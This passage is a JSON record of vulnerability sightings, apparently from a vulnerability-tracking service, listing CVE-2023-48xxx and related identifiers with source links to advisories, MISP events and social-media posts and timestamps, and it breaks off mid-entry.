{"vulnerability": "2023-48", "sightings": [{"uuid": "87f4d33f-5077-4627-95fe-854cdeafbe2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://security.paloaltonetworks.com/CVE-2023-48795", "content": "", "creation_timestamp": "2024-10-14T19:50:00.000000Z"}, {"uuid": "11be3896-8e66-4f17-8404-721747f86ce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-09-13T18:10:02.000000Z"}, {"uuid": "204a672b-dc26-4481-9eda-2177f410ac39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/8a5d9ef7-0fae-4fcc-a606-d3701ec5f0e0", "content": "", "creation_timestamp": "2024-10-15T11:39:08.000000Z"}, {"uuid": "2a6ec35a-b08c-4826-bfef-2ac4698e6fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48409", "type": "seen", "source": "MISP/5248edde-cd09-4b70-8888-fec33ea1fb93", "content": "", "creation_timestamp": "2024-10-21T15:07:32.000000Z"}, {"uuid": "2508418b-c831-4131-bb23-1be6d7df0456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "MISP/d7168461-fec2-4f03-a1ae-005f581e0546", "content": "", "creation_timestamp": "2023-12-22T11:44:34.000000Z"}, {"uuid": "38a10c77-20bf-49d9-af00-4f60f1cbe00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-03-25T18:10:03.000000Z"}, {"uuid": "d6dc7859-bc4b-4b45-bf1d-2c84cd2eaea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "MISP/4b092cb1-913f-4575-a172-1e6c6332c228", "content": "", "creation_timestamp": "2024-03-27T10:34:26.000000Z"}, {"uuid": "4ac054f8-3e78-41c0-87d5-d07e0899efde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/f0528842-4816-4b65-941a-a052b44f7db6", "content": "", "creation_timestamp": "2024-04-09T06:41:14.000000Z"}, {"uuid": "747c991d-be00-4d0f-a783-d6effdf89611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/c71d74eb-5c12-47b7-95ab-c2416dd932a5", "content": "", "creation_timestamp": "2024-04-18T10:27:46.000000Z"}, {"uuid": "11ba764e-37d7-44e2-af0f-a6b7cf63fc65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4807", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-04", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "8bdaf91b-7c43-40d1-98a7-44ec9ed8a361", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4807", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "ebb47a23-a5be-4ae4-be72-eada89875efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "90f39ba5-af9e-422b-99e0-1be090a85f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48010", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601960047149330", "content": "", "creation_timestamp": "2024-12-05T19:52:25.898160Z"}, {"uuid": "dfc62458-a72d-4d6f-a791-32357a244d56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/ffea72a3-7935-4078-b769-b872475c5eae", "content": "", "creation_timestamp": "2024-11-27T08:28:21.000000Z"}, {"uuid": "a0131348-7a4f-4ff5-b7ec-ce2cfc557599", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://infosec.exchange/users/malmoeb/statuses/113607765689175235", "content": "", "creation_timestamp": "2024-12-06T20:28:53.931746Z"}, {"uuid": "06562a94-d657-486e-8001-d8b5259508d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48274", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622697765857619", "content": "", "creation_timestamp": "2024-12-09T11:46:18.547651Z"}, {"uuid": "f58da60e-a1f6-4192-a63d-5c85365019d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48286", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622697782151970", "content": "", "creation_timestamp": "2024-12-09T11:46:18.784547Z"}, {"uuid": "887acb67-faba-4c4b-902b-4e3d28d2f7ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48287", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622756785399911", "content": "", "creation_timestamp": "2024-12-09T12:01:19.319118Z"}, {"uuid": "4631b3af-b1e4-4e7e-98bb-175186e05023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48324", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622756799644405", "content": "", "creation_timestamp": "2024-12-09T12:01:19.367697Z"}, {"uuid": "b6654c97-7fcb-42ae-ae6a-470cf992c82c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48740", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622756827852284", "content": "", "creation_timestamp": "2024-12-09T12:01:19.570134Z"}, {"uuid": "4217bd69-1462-437a-8a4a-cef55377e717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48332", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622756813542158", "content": "", "creation_timestamp": "2024-12-09T12:01:20.271905Z"}, {"uuid": "5f72fd59-d613-4452-a49e-8bace5b9338c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48750", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622815828332916", "content": "", "creation_timestamp": "2024-12-09T12:16:19.947701Z"}, {"uuid": "26eb175b-2ec7-4ab1-b7f2-dfe883db6ce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48774", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622815841742690", "content": "", "creation_timestamp": "2024-12-09T12:16:20.273492Z"}, {"uuid": "29e9ed06-ef99-4ba7-b414-823939b4e842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48776", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622815873835347", "content": "", "creation_timestamp": "2024-12-09T12:16:23.144612Z"}, {"uuid": "8374b44a-4ad5-49b8-9a5a-3c5db09a6967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48779", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622815887132688", "content": "", "creation_timestamp": "2024-12-09T12:16:23.293965Z"}, {"uuid": "cfc7231d-32e9-4fbc-bc08-317fd5031292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2023-48365", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113623927561712873", "content": "", "creation_timestamp": "2024-12-09T16:59:03.956829Z"}, {"uuid": "8426f182-9d7d-460f-8d32-8f50405b8d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113623940738642550", "content": "", "creation_timestamp": "2024-12-09T17:02:24.982933Z"}, {"uuid": "ebd7e8e1-f177-4944-8f09-b2367b537300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48782", "type": "seen", "source": "https://www.darkreading.com/vulnerabilities-threats/fortinet-addresses-unpatched-critical-rce-vector", "content": "", "creation_timestamp": "2024-12-19T21:29:13.000000Z"}, {"uuid": "36848def-f4f0-46fa-b676-0225fdd7bf9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ldojvyfzjt2c", "content": "", "creation_timestamp": "2024-12-19T18:47:56.533289Z"}, {"uuid": "0ea5ca10-ec21-4e29-9a81-be4f6e11c088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3ldrinmbghv2n", "content": "", "creation_timestamp": "2024-12-20T23:03:20.989824Z"}, {"uuid": "8110ddcb-9798-44b6-acb0-d99ace2259fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5cijhec2t", "content": "", "creation_timestamp": "2024-12-20T10:07:38.138066Z"}, {"uuid": "e7692bd6-db94-4cfb-8ced-1f1de32ab070", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldpt22n2752z", "content": "", "creation_timestamp": "2024-12-20T07:03:56.574291Z"}, {"uuid": "a4b96245-9461-454c-954f-57798d23e81d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ldpt7j472b2g", "content": "", "creation_timestamp": "2024-12-20T07:07:00.184448Z"}, {"uuid": "8559c2c0-2bde-4e80-8aa4-2025f5346691", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2023-48788", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ldpoo46rnk24", "content": "", "creation_timestamp": "2024-12-20T05:45:40.673645Z"}, {"uuid": "8d7ee4e0-b710-4797-a572-0672dd4ad583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://thehackernews.com/2024/12/hackers-exploiting-critical-fortinet.html", "content": "", "creation_timestamp": "2024-12-20T05:25:00.000000Z"}, {"uuid": "fe7126b1-b2be-4abf-9453-d44ce25d14eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://msrc.microsoft.com/blog/2023/10/microsofts-response-to-open-source-vulnerabilities-cve-2023-4863-and-cve-2023-5217/", "content": "", "creation_timestamp": "2023-10-02T05:00:00.000000Z"}, {"uuid": "2b7bb2be-2e5f-4a85-9347-a73a5c5fa4c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113680568842715542", "content": "", "creation_timestamp": "2024-12-19T17:03:41.322575Z"}, {"uuid": "17d7b2dc-40e1-45ab-8863-e6822b38977f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfpvvjn6vw25", "content": "", "creation_timestamp": "2025-01-14T18:45:29.173733Z"}, {"uuid": "eca47907-1ba1-4815-bdc7-58d37ce1813d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971879", "content": "", "creation_timestamp": "2024-12-24T20:35:10.123765Z"}, {"uuid": "2404eb5b-9e3a-4192-a0f8-938e40f1b3f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-01-13T21:10:02.000000Z"}, {"uuid": "9d9e7306-c2bd-43f3-b57f-2f2db3fddabc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827355879730690", "content": "", "creation_timestamp": "2025-01-14T15:13:33.895831Z"}, {"uuid": "1a62f5ae-5c2e-450a-8845-c5de2a69c48c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3le6wgt2ky22g", "content": "", "creation_timestamp": "2024-12-26T07:14:46.065713Z"}, {"uuid": "16a862a8-d4c5-48ae-86bf-f880b547bc2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/network/cves/2023/CVE-2023-48788.yaml", "content": "", "creation_timestamp": "2024-12-26T14:10:14.000000Z"}, {"uuid": "64ce775c-8dd0-4eb6-a3ce-999b9fb6f648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48775", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113747548772711050", "content": "", "creation_timestamp": "2024-12-31T12:57:33.662903Z"}, {"uuid": "315d4659-6b69-435d-a71b-7049575d4387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3092047", "content": "", "creation_timestamp": "2025-01-13T15:16:13.368973Z"}, {"uuid": "391d98f2-492b-4bc8-8069-2acf906a81e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113821744720960181", "content": "", "creation_timestamp": "2025-01-13T15:26:34.157164Z"}, {"uuid": "7cbe7328-07e3-4e49-979e-283d46c1bfb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48739", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerelyunxb2c", "content": "", "creation_timestamp": "2025-01-02T15:16:07.003462Z"}, {"uuid": "0ad9ec16-4307-4ff0-8768-b65292e2d256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48758", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerem35byw2a", "content": "", "creation_timestamp": "2025-01-02T15:16:09.840980Z"}, {"uuid": "b33eedfa-5445-487c-b039-a68568f65f1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48758", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lergwwhisf2h", "content": "", "creation_timestamp": "2025-01-02T15:57:59.578896Z"}, {"uuid": "48145ea4-abe9-4b25-b995-008ad86451c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg4pubicon2n", "content": "", "creation_timestamp": "2025-01-19T21:02:04.479145Z"}, {"uuid": "002953ee-b4df-4ced-92e3-ac1a0d361ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/redvello.bsky.social/post/3lgpejmauvc2w", "content": "", "creation_timestamp": "2025-01-27T06:59:50.399202Z"}, {"uuid": "305f8e1a-e905-48ff-91ab-a8a642f7d817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://bsky.app/profile/redvello.bsky.social/post/3lgpejmauvc2w", "content": "", "creation_timestamp": "2025-01-27T06:59:50.452396Z"}, {"uuid": "ea8809d1-b8cb-465f-b4e5-8753c4919744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48292", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llmqimx7hl2t", "content": "", "creation_timestamp": "2025-03-30T21:02:00.008189Z"}, {"uuid": "bc99bd64-1378-49b7-9fc8-fe52024cb245", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "a642d4d2-7550-4bb7-90c7-a0ea738d3472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "7bfe1055-1f79-49b8-89ca-b57af591b0cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhjybyoxq32r", "content": "", "creation_timestamp": "2025-02-06T21:02:39.876997Z"}, {"uuid": "d4b815c5-5657-4bd5-ae1d-0f4c54a1d6b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:57.000000Z"}, {"uuid": "4372fee0-34ab-4008-b94e-b34befdf62f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://googleprojectzero.blogspot.com/2025/03/blasting-past-webp.html", "content": "", "creation_timestamp": "2025-03-26T16:30:00.000000Z"}, {"uuid": "150550b9-8ffb-4b2c-b857-89d6fdcf57b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:57.000000Z"}, {"uuid": "b89506dc-fb01-46f6-ae80-2d0271ae923c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/iamJakeRobbins/defef5643ea488f5b864b06ab463866f", "content": "", "creation_timestamp": "2025-03-11T22:39:27.000000Z"}, {"uuid": "4ad41397-b14d-4811-8479-2cdfac41cbee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48267", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113993094686929174", "content": "", "creation_timestamp": "2025-02-12T21:43:06.935104Z"}, {"uuid": "55f514c8-f761-492e-b52a-be9857b5ad5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48366", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113993094720886056", "content": "", "creation_timestamp": "2025-02-12T21:43:07.283869Z"}, {"uuid": "a449a3c1-b56e-4b5c-bb28-2632326367e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48267", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhz774ush72i", "content": "", "creation_timestamp": "2025-02-12T22:16:15.622922Z"}, {"uuid": "823eec63-3471-4e3b-b04a-0dce9945bc7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48366", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhz777beuv2a", "content": "", "creation_timestamp": "2025-02-12T22:16:18.420725Z"}, {"uuid": "72b7914a-21cf-4be9-91bc-456707f2da2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-da14e733-8b517f7e5f0581cb", "content": "", "creation_timestamp": "2025-03-23T07:42:48.061359Z"}, {"uuid": "7228eb35-0862-429d-8162-a2e95fab4e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "42f030e6-a0ba-4546-b906-d9cb63322629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3liecbjhrw22y", "content": "", "creation_timestamp": "2025-02-17T08:10:37.773516Z"}, {"uuid": "7d95d81b-efce-490c-99f3-6728f388599b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/matricedigitale.bsky.social/post/3lldttrwbyi2b", "content": "", "creation_timestamp": "2025-03-27T08:07:56.371661Z"}, {"uuid": "f08037d7-8057-487e-a712-794ac1b27b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/matricedigitale.bsky.social/post/3lldttxwxlj2i", "content": "", "creation_timestamp": "2025-03-27T08:08:02.119657Z"}, {"uuid": "f9844c74-e4ab-4aa6-99fe-773fddfedf3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-c46fef03-448780d790eaac5a", "content": "", "creation_timestamp": "2025-03-12T09:45:14.467172Z"}, {"uuid": "46ca3288-57cc-4485-913f-0e8d2580eecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/matricedigitale.bsky.social/post/3lldtu5jjn42w", "content": "", "creation_timestamp": "2025-03-27T08:08:08.128260Z"}, {"uuid": "06dc32aa-ecc1-4697-a2fa-252a523adf02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:46.000000Z"}, {"uuid": "89a9689e-e0f1-4188-87f4-776236017f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://gist.github.com/cmj/e2efb3a2d0adc86acd38eea0e9979216", "content": "", "creation_timestamp": "2025-03-10T14:24:04.000000Z"}, {"uuid": "44b99d80-fea3-4100-98da-d2fb056e6b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:03.000000Z"}, {"uuid": "3df873f6-ee9b-44c9-aaa6-9317e9e25813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", 